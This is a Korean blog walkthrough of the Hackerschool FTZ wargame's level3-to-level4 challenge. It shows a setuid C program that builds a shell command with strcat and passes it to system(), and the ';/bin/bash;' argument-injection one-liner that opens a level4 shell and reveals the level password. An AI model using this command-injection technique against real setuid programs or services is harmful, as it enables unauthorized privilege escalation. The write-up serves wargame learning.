본문 바로가기

System Hacking/해커스쿨 FTZ

해커스쿨 FTZ ( level3 -> level4 ) by ORANG

FTZ_level3

 

먼저 hint의 내용을 확인해 보겠습니다.

 [level3@ftz level3]$ ls

hint  public_html  tmp

[level3@ftz level3]$ cat hint

 

 

다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main(int argc, char **argv){

 

    char cmd[100];

 

    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }

 

    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");

 

    system( cmd );

 

}

 

이를 이용하여 level4의 권한을 얻어라.

 

more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?

 

 

이제 슬슬 c언어 코드가 나오기 시작하네요ㅎㅎ

코드를 간단하게 보면..

  • argv 인자를 1개 받지않을떄 문자열 출력 출력 후 끝
  • argv 인자를 1개 받앗을경우, cmd라는 문자열에 ` “dig@“+argv[1]+”version.bind chaos txt” ` 저장후
  • system 함수로 호출.. 하네요  

 

먼저 힌트 속 autodig 라는 파일을 찾아보곘습니다.

 [level3@ftz level3]$ find / -name autodig 2>/dev/null

/bin/autodig

[level3@ftz level3]$ ls -l /bin/autodig

-rwsr-x---    1 level4   level3      12194  6월  5 08:45 /bin/autodig

 

 

hint 파일의 밑 부분에 추가힌트를 보면.. 

  1. 동시에 여러 명령어를 사용하려면?  ‘;’을 경계로 여러 명령어를 전달할 수 있습니다.
  2. 문자열 형태로 명령어를 전달하려면? 스크립트 언어를 사용해야합니다ㅎㅎ 파이썬, 펄 등등..

저는 펄 스크립트를 사용해서 여러 문자열을 전달해보겠습니다.

`perl -e ‘print “;/bin/bash;”` -> argv[1]로  ;/bin/bash; 를 전달합니다.

결과적으로 system 함수 호출 인자로 dig@;/bin/bash;version.bind chaos txt 가 전달되므로

dig@ 이후에 셸을 획득할 수 있겠네요ㅎㅎ

 

 [level3@ftz level3]$ /bin/autodig `perl -e 'print ";/bin/bash;"'`

dig: Couldn't find server '': Name or service not known

[level4@ftz level3]$ id

uid=3004(level4) gid=3003(level3) groups=3003(level3)

[level4@ftz level3]$ my-pass

 

Level4 Password is "suck my brain".